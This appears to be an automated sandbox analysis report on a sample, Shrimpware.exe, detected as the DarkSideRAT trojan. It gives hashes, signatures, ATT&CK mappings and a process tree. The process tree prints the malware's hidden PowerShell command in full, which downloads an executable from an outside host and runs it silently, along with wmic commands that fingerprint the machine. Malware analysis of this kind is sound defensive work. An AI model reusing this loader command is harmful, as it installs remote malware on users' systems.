darksiderat | d421e44e4d3d19621afc8b21d728170a8f452acdc68554b0b1d166a8d451036a

Resubmissions

16/09/2026, 06:21

260916-g4s3tazz9m10

16/09/2026, 04:38

260916-e9l6cazv4k10

Analysis

user interaction
yes
max time kernel
149s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Shrimpware.exe
Size 2.3MB
Sample260916-e9l6cazv4k
SHA256 d421e44e4d3d19621afc8b21d728170a8f452acdc68554b0b1d166a8d451036a
MD5 cdf34353ce91dba08fb7e1810251fa41
SHA1 6d1d37f5e6e3f03a4387b719f118794e0cc123dc
SHA512 dc9153092cf153e9e8f4ade4467d5b4581f8af439a1be0a6762653286f2478ec74f5913d5c0eb36ca3b009fa897c7d4329f0f76dd22570ee5efcab87e75aedb9
SSDEEP 12288:ZPfRGvNDtxfQQ+sgO0xpUf+XApiaNsPWBybSNenkla6xYXuthiAczdXCLEOOTKIL:dRGvNtqQh0rAczqEOOTKI9ncXnC
TLSH
T19DB5094023244061C4B2367DE26FB91A6B7DB14F33E02BD712EDBB09D99B95CC2752E6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x000c0000000243be-12.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3868	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	3868	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4688	BK882329.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3792	cmd.exe
1352	cmd.exe
4328	cmd.exe
4884	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3868	powershell.exe
3868	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4324	WMIC.exe
Token: SeSecurityPrivilege	4324	WMIC.exe
Token: SeTakeOwnershipPrivilege	4324	WMIC.exe
Token: SeLoadDriverPrivilege	4324	WMIC.exe
Token: SeSystemProfilePrivilege	4324	WMIC.exe
Token: SeSystemtimePrivilege	4324	WMIC.exe
Token: SeProfSingleProcessPrivilege	4324	WMIC.exe
Token: SeIncBasePriorityPrivilege	4324	WMIC.exe
Token: SeCreatePagefilePrivilege	4324	WMIC.exe
Token: SeBackupPrivilege	4324	WMIC.exe
Token: SeRestorePrivilege	4324	WMIC.exe
Token: SeShutdownPrivilege	4324	WMIC.exe
Token: SeDebugPrivilege	4324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4324	WMIC.exe
Token: SeRemoteShutdownPrivilege	4324	WMIC.exe
Token: SeUndockPrivilege	4324	WMIC.exe
Token: SeManageVolumePrivilege	4324	WMIC.exe
Token: 33	4324	WMIC.exe
Token: 34	4324	WMIC.exe
Token: 35	4324	WMIC.exe
Token: 36	4324	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4324	WMIC.exe
Token: SeSecurityPrivilege	4324	WMIC.exe
Token: SeTakeOwnershipPrivilege	4324	WMIC.exe
Token: SeLoadDriverPrivilege	4324	WMIC.exe
Token: SeSystemProfilePrivilege	4324	WMIC.exe
Token: SeSystemtimePrivilege	4324	WMIC.exe
Token: SeProfSingleProcessPrivilege	4324	WMIC.exe
Token: SeIncBasePriorityPrivilege	4324	WMIC.exe
Token: SeCreatePagefilePrivilege	4324	WMIC.exe
Token: SeBackupPrivilege	4324	WMIC.exe
Token: SeRestorePrivilege	4324	WMIC.exe
Token: SeShutdownPrivilege	4324	WMIC.exe
Token: SeDebugPrivilege	4324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4324	WMIC.exe
Token: SeRemoteShutdownPrivilege	4324	WMIC.exe
Token: SeUndockPrivilege	4324	WMIC.exe
Token: SeManageVolumePrivilege	4324	WMIC.exe
Token: 33	4324	WMIC.exe
Token: 34	4324	WMIC.exe
Token: 35	4324	WMIC.exe
Token: 36	4324	WMIC.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeIncreaseQuotaPrivilege	2800	WMIC.exe
Token: SeSecurityPrivilege	2800	WMIC.exe
Token: SeTakeOwnershipPrivilege	2800	WMIC.exe
Token: SeLoadDriverPrivilege	2800	WMIC.exe
Token: SeSystemProfilePrivilege	2800	WMIC.exe
Token: SeSystemtimePrivilege	2800	WMIC.exe
Token: SeProfSingleProcessPrivilege	2800	WMIC.exe
Token: SeIncBasePriorityPrivilege	2800	WMIC.exe
Token: SeCreatePagefilePrivilege	2800	WMIC.exe
Token: SeBackupPrivilege	2800	WMIC.exe
Token: SeRestorePrivilege	2800	WMIC.exe
Token: SeShutdownPrivilege	2800	WMIC.exe
Token: SeDebugPrivilege	2800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2800	WMIC.exe
Token: SeRemoteShutdownPrivilege	2800	WMIC.exe
Token: SeUndockPrivilege	2800	WMIC.exe
Token: SeManageVolumePrivilege	2800	WMIC.exe
Token: 33	2800	WMIC.exe
Token: 34	2800	WMIC.exe
Token: 35	2800	WMIC.exe
Token: 36	2800	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4332	Shrimpware.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 4328	4332	Shrimpware.exe	82
PID 4328 wrote to memory of 4884	4328	cmd.exe	84
PID 4332 wrote to memory of 3792	4332	Shrimpware.exe	86
PID 3792 wrote to memory of 4324	3792	cmd.exe	89
PID 4884 wrote to memory of 3868	4884	cmd.exe	91
PID 4332 wrote to memory of 1352	4332	Shrimpware.exe	94
PID 1352 wrote to memory of 2800	1352	cmd.exe	96
PID 3868 wrote to memory of 4688	3868	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\Shrimpware.exe
"C:\Users\Admin\AppData\Local\Temp\Shrimpware.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Ecyt3x' -OutFile $env:APPDATA\BK882329.exe; Start-Process -FilePath $env:APPDATA\BK882329.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Ecyt3x' -OutFile $env:APPDATA\BK882329.exe; Start-Process -FilePath $env:APPDATA\BK882329.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Ecyt3x' -OutFile $env:APPDATA\BK882329.exe; Start-Process -FilePath $env:APPDATA\BK882329.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3868
    - - C:\Users\Admin\AppData\Roaming\BK882329.exe
        
        "C:\Users\Admin\AppData\Roaming\BK882329.exe"
        5⤵
        Executes dropped EXE
        
        PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c wmic csproduct get uuid
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3792
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4324
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c wmic bios get serialnumber
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_s2sxkklh.z52.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s2sxkklh.z52.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

BK882329.exe

Path C:\Users\Admin\AppData\Roaming\BK882329.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3868-0-0x000001291CD30000-0x000001291CD52000-memory.dmp

Download